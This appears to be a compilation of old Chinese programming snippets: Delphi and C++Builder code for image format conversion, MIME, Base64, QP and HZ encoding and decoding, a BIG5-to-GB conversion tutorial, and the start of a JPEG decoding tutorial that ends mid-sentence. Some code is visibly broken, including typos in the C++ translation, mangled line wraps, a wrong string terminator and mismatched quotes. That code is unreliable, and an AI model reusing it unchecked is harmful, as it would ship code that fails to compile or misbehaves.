with TMetaFileCanvas.CreateWithComment(

aWmf,0,'Aiming''s Conver program','V1.0') do

Try Draw(0,0,aBmp);

Finally Free;

end;

if aWmf.Enhanced

then aWmf.SaveToFile(copy(param1,1,pos('.',param1)) + 'EMF')

else aWmf.SaveToFile(copy(param1,1,pos('.',param1)) + 'WMF');

if aWmf.Enhanced

then writeln(param1, '==>',

copy(param1,1,pos('.',param1)) + 'EMF', #$0D)

else writeln(param1, '==>',

copy(param1,1,pos('.',param1)) + 'WMF', #$0D);

end

else

begin

aWmf.LoadFromFile(param1);

aBmp.Width := aWmf.Width;

aBmp.Height := aWmf.Height;

aBmp.Canvas.Draw(0,0,aWmf);

aBmp.SaveToFile(copy(param1,1,pos('.',param1)) + 'BMP');

writeln(param1, '==>',

copy(param1,1,pos('.',param1)) + 'EMF', #$0D);

end;

aBmp.Destroy;

aWmf.Destroy;

end.


base64 & mine编码

来自我的主页:mentals.yes8.com

此代码是一个 BCB 的单元，非常简单，提供了四个函数， 要改成 Delphi 或其它 C/C++ 也很容易，有需要的自已改吧。此代码经过测试，结果正确。

下面是头文件：

//---------------------------------------------------------------------------

// MIME & BASE64 Encode/Decode unit. (H)

// Copyright (c) 2000 Mental Studio - http://mentals.126.com

// Author : Raptor - raptorz@126.com

//---------------------------------------------------------------------------

#ifndef mimeb64H

#define mimeb64H

//---------------------------------------------------------------------------

AnsiString MimeEncode( AnsiString s );

AnsiString MimeDecode( AnsiString s );

AnsiString Base64Encode( AnsiString s );

AnsiString Base64Decode( AnsiString s );

//---------------------------------------------------------------------------

#endif

下面是 CPP 文件：

//---------------------------------------------------------------------------

// MIME & BASE64 Encode/Decode unit. (CPP)

// Copyright (c) 2000 Mental Studio - http://mentals.126.com

// Author : Raptor - raptorz@126.com

//---------------------------------------------------------------------------

#include

#pragma hdrstop

#include "mimeb64.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

//---------------------------------------------------------------------------

// 4bit binary to char 0-F

char Hex2Chr( Byte n )

{

n &= 0xF;

if ( n < 10 )

return ( char )( n + '0' );

else

return ( char )( n - 10 + 'A' );

}

//---------------------------------------------------------------------------

// char 0-F to 4bit binary

Byte Chr2Hex( char c )

{

c = toupper( c );

if ( c >= '0' && c <= '9' )

return ( int )( c - '0' );

else if ( c >= 'A' && c <= 'F' )

return ( int )( c - 'A' + 10 );

else

return -1;

}

//---------------------------------------------------------------------------

// Base64 code table

// 0-63 : A-Z(25) a-z(51), 0-9(61), +(62), /(63)

char __fastcall Base2Chr( Byte n )

{

n &= 0x3F;

if ( n < 26 )

return ( char )( n + 'A' );

else if ( n < 52 )

return ( char )( n - 26 + 'a' );

else if ( n < 62 )

return ( char )( n - 52 + '0' );

else if ( n == 62 )

return '+';

else

return '/';

}

//---------------------------------------------------------------------------

Byte Chr2Base( char c )

{

if ( c >= 'A' && c <= 'Z' )

return ( Byte )( c - 'A' );

else if ( c >= 'a' && c <= 'z' )

return ( Byte )( c - 'a' + 26 );

else if ( c >= '0' && c <= '9' )

return ( Byte )( c - '0' + 52 );

else if ( c == '+' )

return 62;

else

return 63;

}

//---------------------------------------------------------------------------

//

AnsiString MimeEncode( AnsiString s )

{

AnsiString asTemp = "";

int i = 1, n = s.Length( );

while ( i <= n )

{

asTemp += '=';

asTemp += Hex2Chr( ( Byte )( s[i] >> 4 ) );

asTemp += Hex2Chr( ( Byte )( s[i] ) );

i++;

}

return asTemp;

}

//---------------------------------------------------------------------------

//

AnsiString MimeDecode( AnsiString s )

{

AnsiString asTemp = "";

int i = 1, n = s.Length( );

Byte ch, cl; // 因为有些软件(e.g.Foxmail)对一些 < 0x7f 的字符不编码，此函数作了一些修改

while ( i <= n )

{

if ( ( s[i] == '=' ) && ( i + 2 <= n ) )

{

ch = Chr2Hex( s[i + 1] );

cl = Chr2Hex( s[i + 2] );

if ( ( ch == ( Byte )-1 ) || ( cl == ( Byte )-1 ) )

asTemp += s[i]; // 未编码的'='

else

{

asTemp += ( char )( ( ch << 4 ) | cl );

i += 2;

}

}

else

asTemp += s[i]; // 未编码的字符

i++;

}

return asTemp;

}

//---------------------------------------------------------------------------

//

AnsiString Base64Encode( AnsiString s )

{

int n = s.Length( );

Byte c, t;

AnsiString asTemp = "";

for ( int i = 1; i <= n; i++ )

{

c = s[i];

if ( i % 3 == 1 )

{

asTemp += Base2Chr( c >> 2 );

t = ( c << 4 ) & 0x3F;

}

else if ( i % 3 == 2 )

{

asTemp += Base2Chr( t | ( c >> 4 ) );

t = ( c << 2 ) & 0x3F;

}

else

{

asTemp += Base2Chr( t | ( c >> 6 ) );

asTemp += Base2Chr( c );

}

}

if ( n % 3 != 0 )

{

asTemp += Base2Chr( t );

if ( n % 3 == 1 )

asTemp += "==";

else

asTemp += "=";

}

return asTemp;

}

//---------------------------------------------------------------------------

//

AnsiString Base64Decode( AnsiString s )

{

int n = s.Length( );

Byte c, t;

AnsiString asTemp = "";

for ( int i = 1; i <= n; i++ )

{

if ( s[i] == '=' )

break;

c = Chr2Base( s[i] );

if ( i % 4 == 1 )

t = c << 2;

else if ( i % 4 == 2 )

{

asTemp += ( char )( t | ( c >> 4 ) );

t = ( Byte )( c << 4 );

}

else if ( i % 4 == 3 )

{

asTemp += ( char )( t | ( c >> 2 ) );

t = ( Byte )( c << 6 );

}

else

asTemp += ( char )( t | c );

}

return asTemp;

}

//---------------------------------------------------------------------------


一些编码的解码

{

模块名称：各种编码的解码

使用方法：

1、UnMimeCode(string); ///Mime编码解码

2、UnQPCode(string); ///QP编码解码

3、UnHZCode(string); ///HZ编码解码

返回值： 无

}

unit Decode;

interface

uses

Math;

function UnMimeCode(MimeString : string) : string;

function UnQPCode(QPString : string) : string;

function UnHZCode(HZString : string) : string;

implementation

function Dec2Bin(Value : integer; MaxBit : integer) : string;

begin

Result := '';

while (Value > 0) do

begin

if (Trunc(Value / 2) * 2 = Value) then

Result := '0' + Result

else

Result := '1' + Result;

Value := Trunc(Value / 2);

end;

while (Length(Result) < MaxBit) do Result := '0' + Result; //填满MaxBit位

end;

function Bin2Dec(Value : string) : integer;

var

nIndex, nLength : integer;

begin

Result := 0;

nLength := Length(Value);

for nIndex := 0 to nLength - 1 do

if (Value[nLength - nIndex] = '1') then

inc(Result, Trunc(Power(2, nIndex)));

end;

function Hex2Dec(Value : string) : integer;

var

nIndex, nLength : integer;

c : char;

begin

Result := 0;

nLength := Length(Value);

for nIndex := 0 to nLength - 1 do

begin

c := Value[nLength - nIndex];

if ((c >= 'A') and (c <= 'F')) then

inc(Result, (ord(c) - 55) * Trunc(Power(16, nIndex)))

else if ((c >= '0') and (c <= '9')) then

inc(Result, (ord(c) - 48) * Trunc(Power(16, nIndex)));

end;

end;

function UnMimeCode(MimeString : string) : string;

const

c_strBase64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; //Base64字符集

var

strBin : string;

nIndex : integer;

i : integer;

begin

Result := '';

strBin := '';

//查找Base64字符，并转换为二进制

for nIndex := 1 to Length(MimeString) do

begin

i := Pos(MimeString[nIndex], c_strBase64);

if (i > 0) then

strBin := strBin + Dec2Bin(i - 1, 6) //填满6位，满足Base64编码原则

else if (MimeString[nIndex] = '=') then //无输入字符时候，使用等号输出（这样的写法应该是错误的，但目前想不出好的写法）

strBin := strBin + '000000';

end;

//转换为8位长的字符

for nIndex := 1 to Trunc(Length(strBin) / 8) do

begin

Result := Result + Chr(Bin2Dec(Copy(strBin, (nIndex - 1) * 8 + 1, 8)));

end;

end;

function UnQPCode(QPString : string) : string;

var

nIndex, nLength : integer;

begin

Result := '';

nIndex := 1;

nLength := Length(QPString);

while (nIndex <= nLength) do

begin

if (QPString[nIndex] = '=') and

(nIndex + 2 <= nLength) and

(((QPString[nIndex + 1] >= 'A') and (QPString[nIndex + 1] <= 'F')) or ((QPString[nIndex + 1] >= '0') and (QPString[nIndex + 1] <= '9'))) and

(((QPString[nIndex + 2] >= 'A') and (QPString[nIndex + 2] <= 'F')) or ((QPString[nIndex + 2] >= '0') and (QPString[nIndex + 2] <= '9'))) then

begin

Result := Result + Chr(Hex2Dec(Copy(QPString, nIndex + 1, 2)));

inc(nIndex, 3);

end

else

begin

Result := Result + QPString[nIndex];

inc(nIndex);

end;

end;

end;

function UnHZCode(HZString : string) : string;

var

nBeginIndex, nEndIndex : integer;

s, s1, strBin : string;

nIndex : integer;

begin

Result := HZString;

//查找编码字串标志

nBeginIndex := Pos('~{', Result);

nEndIndex := Pos('~}', Result);

while ((nBeginIndex > 0) and (nBeginIndex < nEndIndex)) do

begin

s := Copy(Result, nBeginIndex + 2, nEndIndex - nBeginIndex - 2);

s1 := '';

for nIndex := 1 to Length(s) do

begin

if (ord(s[nIndex]) <= 127) then

begin

strBin := Dec2Bin(ord(s[nIndex]), 8); //填满8位，满足HZ编码原则

strBin[1] := '1'; //最高位置1

s1 := s1 + Chr(Bin2Dec(strBin));

end;

end;

//替换原来的编码字串

Delete(Result, nBeginIndex, nEndIndex - nBeginIndex + 2);

Insert(s1, Result, nBeginIndex);

//查找编码字串标志

nBeginIndex := Pos('~{', Result);

nEndIndex := Pos('~}', Result);

end;

end;

end.


一个Base64的类

TBase64 = Class(TObject)

private

FOStream: TStream;

FIStream: TStream;

Public

{ 输入流 }

Property IStream : TStream Read FIStream Write FIStream;

{ 输出流 }

Property OStream : TStream Read FOStream Write FOStream;

{ 编码 }

Function Encode : Boolean;

{ 解码 }

Function Decode : Boolean;

End;

implementation

const

SBase64 : string = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz~#%&*+-';

UnBase64: array[0..255] of byte =

(128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //0-15

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //16-31

128,128,128, 58,128, 59, 60,128, 128,128, 61, 62,128, 63,128,128, //32-47

128,128, 0, 1, 2, 3, 4, 5, 6, 7,128,128,128,128,128,128, //48-63

128, 8, 9, 10, 11, 12, 13, 14, 15,128, 16, 17, 18, 19, 20,128, //64-79

21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,128,128,128,128,128, //80-95

128, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,128, 43, 44, 45, //96-111

46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56,128,128,128, 57,128, //112-127

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //128-143

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //128-143

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //144-159

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //160-175

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //176-191

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //192-207

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //208-223

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //224-239

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128); //240-255

{ TBase64 }

function TBase64.Decode: Boolean;

var

j, k: integer;

b: byte;

W, Tmp : Byte; //用于阅读流的临时变量

begin

Result := FALSE;

If (FIStream <> Nil) And (FOStream <> Nil) Then

Begin

{ 初始化}

IStream.Position := 0;

OStream.Position := 0;

b := 0;

j := 0;

K := 2;

while (IStream.Position < IStream.Size) And (IStream.Read(Tmp, 1) = 1) And (Char(Tmp) <> '.') Do

Begin

if j = 0 then

begin

b := UnBase64[Tmp];

k := 2;

end

else begin

W := UnBase64[Tmp] or ((b shl k) and $C0);

OStream.Write(W, 1);

inc(k,2);

end;

inc(j);

j := j and 3;

end;

End;

end;

function TBase64.Encode: Boolean;

var

SBuffer : Array [1..4] Of Byte;

j, k: integer;

b: byte;

Tmp : Byte; {### 用于阅读流的临时变量 ###}

begin

Result := FALSE;

If (FIStream <> Nil) And (FOStream <> Nil) Then

Begin

{ 初始化 }

IStream.Position := 0;

OStream.Position := 0;

b := 0;j := 2; k := 2;

while IStream.Position < IStream.Size do

begin

If IStream.Read(Tmp, 1) = 1 Then

Begin

b := b or ((Tmp and $C0) shr k);

inc(k, 2);

SBuffer[j] := Byte(SBase64[(Tmp And $3F) + 1]);

inc(j);

if j > 4 then

begin

SBuffer[1] := Byte(SBase64[b + 1]);

b := 0;

j := 2;

k := 2;

OStream.Write(SBuffer, 4);

End;

End;

End;

{ 平整数据到 SBuffer }

if j <> 2 then

begin

SBuffer[j] := Ord('.');

SBuffer[1] := Byte(SBase64[b + 1]);

OStream.Write(SBuffer, j);

end

else Begin

SBuffer[1] := Ord('.');

OStream.Write(SBuffer, 1);

end;

Result := TRUE;

end;

end;

//--------------------------------------------------------------

翻译成C++的：

class TBase64 : public TObject{

private:

TSream FOStream;

TStream FIStream;

public:

//输入流

__property TStream IStream = { read = FIStream , write = FIStream };

//输出流

__property TStream OStream = { read = FOStream , write = FOStream };

//编码

bool Encode();

//解码

bool Decode();

};

const char * SBase64 = "23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz~#%&*+-";

const unsigned char UnBase64[256] ={

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //0-15

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //16-31

128,128,128, 58,128, 59, 60,128, 128,128, 61, 62,128, 63,128,128, //32-47

128,128, 0, 1, 2, 3, 4, 5, 6, 7,128,128,128,128,128,128, //48-63

128, 8, 9, 10, 11, 12, 13, 14, 15,128, 16, 17, 18, 19, 20,128, //64-79

21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,128,128,128,128,128, //80-95

128, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,128, 43, 44, 45, //96-111

46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56,128,128,128, 57,128, //112-127

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //128-143

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //128-143

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //144-159

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //160-175

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //176-191

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //192-207

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //208-223

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128, //224-239

128,128,128,128,128,128,128,128, 128,128,128,128,128,128,128,128}; //240-255

bool TBase64::Decode()

{

int j , k;

unsigned char b;

unsigned char W , Tmp;

bool Result = false;

if ( FIStream != NULL && FOStream != NULL )

{

//初始化

IStreamPosition = 0;

OStreamPosition = 0;

b = 0;

j = 0;

K = 2;

while (IStream.Position < IStream.Size && (IStream.Read(Tmp, 1) == 1) && ((char)Tmp) != '.' )

{

if ( j == 0 )

{

b = UnBase64[Tmp];

k = 2;

}

else

{

W = UnBase64[Tmp] | ((b >> k) & 0xC0);

OStream.Write(W, 1);

k+=2;

}

j++;

j &= 3;

}

}

return Result;

}

bool TBase64::Encode()

{

unsigned char SBuffer[4];

int j , k;

unsigned char b , Tmp;//用于阅读流的临时变量

bool Result = false;

If ( FIStream != NULL && FOStream != NULL )

{

//初始化

IStream.Position = 0;

OStream.Position = 0;

b = 0;

j = 2;

k = 2;

while ( IStream.Position < IStream.Size )

{

If ( IStream.Read(Tmp, 1)= = 1 )

{

b = b | ((Tmp & 0xC0) << k);

k+=2;

SBuffer[j] = (unsigned cahr)(SBase64[(Tmp & 0x3f) + 1]);

j++;

if ( j > 4 )

{

SBuffer[0] = Byte(SBase64[b]);

b = 0;

j = 2;

k = 2;

OStream.Write(SBuffer, 4);

}

}

}

//平整数据到 SBuffer

if ( j != 2 )

{

SBuffer[j] = '.';

SBuffer[0] = (unsigned char)(SBase64[b + 1]);

OStream.Write(SBuffer, j);

}

else

{

SBuffer[0] = '.';

OStream.Write(SBuffer, 1);

}

Result = true;

}

return Result;

}


base64编码

const BaseTable:string='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

function FindInTable(CSource:char):integer;

begin

result:=Pos(string(CSource),BaseTable)-1;

end;

////

function DecodeBase64(Source:string):string; //base64 编码

var

SrcLen,Times,i:integer;

x1,x2,x3,x4,xt:byte;

begin

result:='';

SrcLen:=Length(Source);

Times:=SrcLen div 4;

for i:=0 to Times-1 do

begin

x1:=FindInTable(Source[1+i*4]);

x2:=FindInTable(Source[2+i*4]);

x3:=FindInTable(Source[3+i*4]);

x4:=FindInTable(Source[4+i*4]);

x1:=x1 shl 2;

xt:=x2 shr 4;

x1:=x1 or xt;

x2:=x2 shl 4;

result:=result+chr(x1);

if x3= 64 then break;

xt:=x3 shr 2;

x2:=x2 or xt;

x3:=x3 shl 6;

result:=result+chr(x2);

if x4=64 then break;

x3:=x3 or x4;

result:=result+chr(x3);

end;

end;

/////

function EncodeBase64(Source:string):string; //base64 解码

var

Times,LenSrc,i:integer;

x1,x2,x3,x4:char;

xt:byte;

begin

result:='';

LenSrc:=length(Source);

if LenSrc mod 3 =0 then Times:=LenSrc div 3

else Times:=LenSrc div 3 + 1;

for i:=0 to times-1 do

begin

if LenSrc >= (3+i*3) then

begin

x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];

xt:=(ord(Source[1+i*3]) shl 4) and 48;

xt:=xt or (ord(Source[2+i*3]) shr 4);

x2:=BaseTable[xt+1];

xt:=(Ord(Source[2+i*3]) shl 2) and 60;

xt:=xt or (ord(Source[3+i*3]) shr 6);

x3:=BaseTable[xt+1];

xt:=(ord(Source[3+i*3]) and 63);

x4:=BaseTable[xt+1];

end

else if LenSrc>=(2+i*3) then

begin

x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];

xt:=(ord(Source[1+i*3]) shl 4) and 48;

xt:=xt or (ord(Source[2+i*3]) shr 4);

x2:=BaseTable[xt+1];

xt:=(ord(Source[2+i*3]) shl 2) and 60;

x3:=BaseTable[xt+1];

x4:='=';

end else

begin

x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];

xt:=(ord(Source[1+i*3]) shl 4) and 48;

x2:=BaseTable[xt+1];

x3:='=';

x4:='=';

end;

result:=result+x1+x2+x3+x4;

end;

end;

*********************************

unsigned char *base64_encode(const char *str,int length,int *ret_lengt

h)

{

static char base64_table[] =

{ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',

'M',

'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',

'Z',

'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',

'm',

'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',

'z',

'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/',

'0'

};

static char base64_pad = '=';

//const char *current = str;

unsigned const char *current = (unsigned const char*)str;

int i = 0;

unsigned char *result = (unsigned char *)malloc(((length + 3 - lengt

h % 3) * 4 / 3 + 1) * sizeof(char));

while (length > 2) { /* keep going until we have less than 24 bits *

/

/

result[i++] = base64_table[current[0] >> 2];

result[i++] = base64_table[((current[0] & 0x03) << 4) + (current[1

] >> 4)];

result[i++] = base64_table[((current[1] & 0x0f) << 2) + (current[2

] >> 6)];

result[i++] = base64_table[current[2] & 0x3f];

current += 3;

length -= 3; /* we just handle 3 octets of data */

}

/* now deal with the tail end of things */

if (length != 0) {

result[i++] = base64_table[current[0] >> 2];

if (length > 1) {

result[i++] = base64_table[((current[0] & 0x03 ) << 4) + (curren

t[1] >> 4)];

result[i++] = base64_table[(current[1] & 0x0f) << 2];

result[i++] = base64_pad;

}

else {

result[i++] = base64_table[(current[0] & 0x03) << 4];

result[i++] = base64_pad;

result[i++] = base64_pad;

}

}

if(ret_length) {

*ret_length = i;

}

result[i] = '0'; // printf("%s",result);

return result;

}


GB码转换为BIG5码

BIG5到GB的转换技术

中文因为数量太多，所以与英文用ASCII码一个字节表示不同，它使用两个字节来表示。通过计算这两个字节，我们可以得到其表示的汉字在中文字库中的位置。读取该位置的若干字节，以获得表示这个汉字的点阵信息。有了这些信息，就可以分别在DOS或WINDOWS中显示该汉字。事实上，在文本文件中保存的就是每个汉字对应的两个字节编码，而显示问题由中文操作系统自动解决。

汉字编码并不统一，我们使用的是GB码，而台湾地区使用的是BIG5码。BIG5码文件中保存的是汉字相应的BIG5编码，GB码文件中保存的是汉字相应的GB编码（这也就是“乱码现象”的来由）。所以转换工作的关键是有一个记录每个BIG5编码对应GB编码的码表文件。

第一步 制作码表文件

BIG5码编码规则是这样的：每个汉字由两个字节构成，第一个字节的范围从0X81－0XFE，共126种。第二个字节的范围分别为0X40－0X7E，0XA1－0XFE，共157种。也就是说，利用这两个字节共可定义出 126 * 157＝19782种汉字。这些汉字的一部分是我们常用到的，如一、丁，这些字我们称为常用字，其BIG5码的范围为0XA440－0XC671，共5401个。较不常用的字，如滥、调，我们称为次常用字，范围为 0XC940－0XF9FE，共7652个，剩下的便是一些特殊字符。

制作码表文件的原理是这样的：首先将所有的BIG5编码写入一个文件，然后，使用具有BIG5码到GB码转换功能的软件，如地球村、东方快车、四通利方，将文件转换为GB码文件，即得到码表文件。

下面的源程序将所有可能的BIG5编码（0XA100－0XFEFF）写入文件“Table.TXT”。

//TURBO C++ 3.0

#include <Stdio.h>

#include <stdlib.h>

void main(){

FILE * codefile;

int i,j,k;

codefile=fopen("table.txt","w+b");

for (i=0xa1;i<=0xfe;I++){

for(j=0x00;j<=0xff;j++){

fwrite(& i,1,1,codefile);

fwrite(& j,1,1,codefile);}

}

fclose(codefile);

return;

}

运行地球村、东方快车或四通利方，将“Table.txt”从BIG5码转换为GB码，即获得码表文件。

第二步 转换

下面的源程序，将BIG5码文件转换为GB码文件。

//TURBO C++3.0

#include <stdio.h>

#include <stdlib.h>

void main(){

int que, wei;

FILE * sourcefile;

FILE * tabfile;

FILE * destfile;

sourcefile = fopen("big.txt', "r+b");

//BIG5 码文件

tabfile = fopen("table.txt", 'r+b");

//码表文件

destfile = fopen("gb.txt","w+b");

//转换生成的GB码文件

while (!feof(sourcefile)){

fread(& que,1,1,sourcefile);

if (feof(sourcefile)){

break; }

if (que> =0xa1 && que <=0xfe)

//叛断是否汉字（BIG5编码）

{fread(& wei,1,1,sourcefile);

if (wei<0xa1) wei = wei - 0x40;

if (wei>=0xa1) wei = wei - 0xa1 + 0x7e - 0x40 + 1;

fseek(tabfile, 2 * ((que -0xa1) * (0xfe - 0xa1 + 1 + 0x7e - 0x40 + 1 ) + wei), SEEK_SET);

fread(& que,1,1,tabfile);

fread(& wei,1,1,tabfile);

fwrite(& que,1,1,destfile);

fwrite(& wei,1,1,destfile);

}

else

fwrite(& que,1,1,destfile); //处理英文

}

fclose(sourcefile);

fclose(tabfile);

fclose(destfile);

return;

}

以上程序在Win95/97，TC3.0 通过。稍加修改，也可用于VC或VB程序中。用同样的方法，我们也可以将GB码转换为BIG5码。


JPEG

作者：云风

文章来源：http://member.netease.com/~cloudwu

写在前面

--------

1. 为什么写这个文档?

云风想对 JPEG/MPEG 有一个系统的研究, 但是苦于找到好的资料. 而英文水平又

不怎样, 所以在学习的过程, 将已经了解了的东西记录下来. 方便自己在编写

代码的时候查阅. 而且正式的 JPEG 文档非常复杂, 打印出来也有厚厚一本, 就

是英文底子比较好的朋友, 看起来也会头痛的. 这里写一份精简版本, 仅仅对 JPEG

Baseline 编码的解码算法做些介绍. 这样对想了解下 JPEG 的朋友会有好处的.

当然需要深入研究 JPEG 的朋友请自己再去找书和资料. 希望 inet 上中文资料越来

越丰富.

2. 通过阅读这份文档期望达到的目的.

能够对 JPEG 图形压缩有一定感性的认识, 但其数学原理不需要搞清. 能够通过这,

开始写自己的编码/解码程序. 或者看懂以有的代码. 对有损图形压缩有进一步了解.

自己能够改良 JPEG, 比如增加透明色的支持, 加快 JPEG 的解码速度.

3. 为什么用文本格式写, 而不用 HTML?

个人喜好. 不喜欢有格式编排的电子文档. 纯文本能够更广泛的使用, 而不需要

HTML 浏览器.

4. 读者需要为这个文档付出什么吗?

您可以自由使用它. 但是由于您是无偿使用, 所以作者不对可能出现的错误和问

题担负任何责任. 关于相关问题,可以来 email 探讨, 但由于精力有限, 不保证

回信. 如果你对这有不满意的地方, 云风不接受任何无理批评.

5. 能够转载这篇文档吗?

欢迎您随意转载, 但不得用它赢利. 而且转载请保留其内容完整. 如果您为它

制作了诸如 HTML 等别的格式的版本, 也必须同时保留一份纯文本版在一起.

JPEG 压缩简介

-------------

1. 色彩模型

JPEG 的图片使用的是 YCrCb 颜色模型, 而不是计算机上最常用的 RGB. 关于色

彩模型, 这里不多阐述. 只是说明, YCrCb 模型更适合图形压缩. 因为人眼对图片上

的亮度 Y 的变化远比色度 C 的变化敏感. 我们完全可以每个点保存一个 8bit 的亮

度值, 每 2x2 个点保存一个 Cr Cb 值, 而图象在肉眼中的感觉不会起太大的变化.

所以, 原来用 RGB 模型, 4 个点需要 4x3=12 字节. 而现在仅需要 4+2=6 字节; 平

均每个点占 12bit. 当然 JPEG 格式里允许每个点的 C 值都记录下来; 不过 MPEG 里

都是按 12bit 一个点来存放的, 我们简写为 YUV12.

[R G B] -> [Y Cb Cr] 转换

-------------------------

(R,G,B 都是 8bit unsigned)

| Y | | 0.299 0.587 0.114 | | R | | 0 |

| Cb | = |- 0.1687 - 0.3313 0.5 | * | G | + |128|

| Cr | | 0.5 - 0.4187 - 0.0813| | B | |128|

Y = 0.299*R + 0.587*G + 0.114*B (亮度)

Cb = - 0.1687*R - 0.3313*G + 0.5 *B + 128

Cr = 0.5 *R - 0.4187*G - 0.0813*B + 128

[Y,Cb,Cr] -> [R,G,B] 转换

-------------------------

R = Y + 1.402 *(Cr-128)

G = Y - 0.34414*(Cb-128) - 0.71414*(Cr-128)

B = Y + 1.772 *(Cb-128)

一般, C 值 (包括 Cb Cr) 应该是一个有符号的数字, 但这里被处理过了, 方法

是加上了 128. JPEG 里的数据都是无符号 8bit 的.

2. DCT (离散余弦变换)

JPEG 里, 要对数据压缩, 先要做一次 DCT 变换. DCT 变换的原理, 涉及到数学

知识, 这里我们不必深究. 反正和傅立叶变换(学过高数的都知道) 是差不多了. 经过

这个变换, 就把图片里点和点间的规律呈现出来了, 更方便压缩.JPEG 里是对每 8x8

个点为一个单位处理的. 所以如果原始图片的长宽不是 8 的倍数, 都需要先补成 8

的倍数, 好一块块的处理. 另外, 记得刚才我说的 Cr Cb 都是 2x2 记录一次吗? 所

以大多数情况, 是要补成 16x16 的整数块.按从左到右, 从上到下的次序排列 (和我

们写字的次序一样). JPEG 里是对 Y Cr Cb 分别做 DCT 变换的. 这里进行 DCT 变换

的 Y, Cr, Cb 值的范围都是 -128~127. (Y 被减去 128)

JPEG 编码时使用的是 Forward DCT (FDCT) 解码时使用的 Inverse DCT (IDCT)

下面给出公式:

FDCT:

7 7 2*x+1 2*y+1

F(u,v) = alpha(u)*alpha(v)* sum sum f(x,y) * cos (------- *u*PI)* cos (------ *v*PI)

x=0 y=0 16 16

u,v = 0,1,...,7

{ 1/sqrt(8) (u==0)

alpha(u) = {

{ 1/2 (u!=0)

IDCT:

7 7 2*x+1 2*y+1

f(x,y) = sum sum alpha(u)*alpha(v)*F(u,v)*cos (------- *u*PI)* cos (------ *v*PI)

u=0 v=0 16 16

x,y=0,1...7

这个步骤很花时间, 另外有种 AA&N 优化算法, 大家可以去 inet 自己找一下.

在 Intel 主页上可以找到 AA&N IDCT 的 MMX 优化代码. ( Intel 主页上的代码,

输入数据为 12.4 的定点数, 输入矩阵需要转置 90 度)

3. 重排列 DCT 结果

DCT 将一个 8x8 的数组变换成另一个 8x8 的数组. 但是内存里所有数据都是线

形存放的, 如果我们一行行的存放这 64 个数字, 每行的结尾的点和下行开始的点就

没有什么关系, 所以 JPEG 规定按如下次序整理 64 个数字.

0, 1, 5, 6,14,15,27,28,

2, 4, 7,13,16,26,29,42,

3, 8,12,17,25,30,41,43,

9,11,18,24,31,40,44,53,

10,19,23,32,39,45,52,54,

20,22,33,38,46,51,55,60,

21,34,37,47,50,56,59,61,

35,36,48,49,57,58,62,63

这样数列里的相邻点在图片上也是相邻的了.

4. 量化

对于前面得到的 64 个空间频率振幅值, 我们将对它们作幅度分层量化操作.方

法就是分别除以量化表里对应值并四舍五入.

for (i = 0 ; i<=63; i++ )

vector[i] = (int) (vector[i] / quantization_table[i] + 0.5)

下面有张 JPEG 标准量化表. (按上面同样的弯曲次序排列)

16 11 10 16 24 40 51 61

12 12 14 19 26 58 60 55

14 13 16 24 40 57 69 56

14 17 22 29 51 87 80 62

18 22 37 56 68 109 103 77

24 35 55 64 81 104 113 92

49 64 78 87 103 121 120 101

72 92 95 98 112 100 103 99

这张表依据心理视觉阀制作, 对 8bit 的亮度和色度的图象的处理效果不错.

当然我们可以使用任意的量化表. 量化表是定义在 jpeg 的 DQT 标记后. 一般

为 Y 值定义一个, 为 C 值定义一个.

量化表是控制 JPEG 压缩比的关键. 这个步骤除掉了一些高频量, 损失了很高

细节. 但事实上人眼对高空间频率远没有低频敏感.所以处理后的视觉损失很小.

另一个重要原因是所有的图片的点与点之间会有一个色彩过渡的过程. 大量的图象

信息被包含在低空间频率中. 经过量化处理后, 在高空间频率段, 将出现大量连续

的零.

注意, 量化后的数据有可能超过 2 byte 有符号整数的处理范围.

5. 0 RLE 编码

现在我们矢量中有许多连续的 0. 我们可以使用 RLE 来压缩掉这些 0. 这里我们

将跳过第一个矢量 (后面将解释为什么) 因为它的编码比较特别. 假设有一组矢量

(64 个的后 63 个) 是

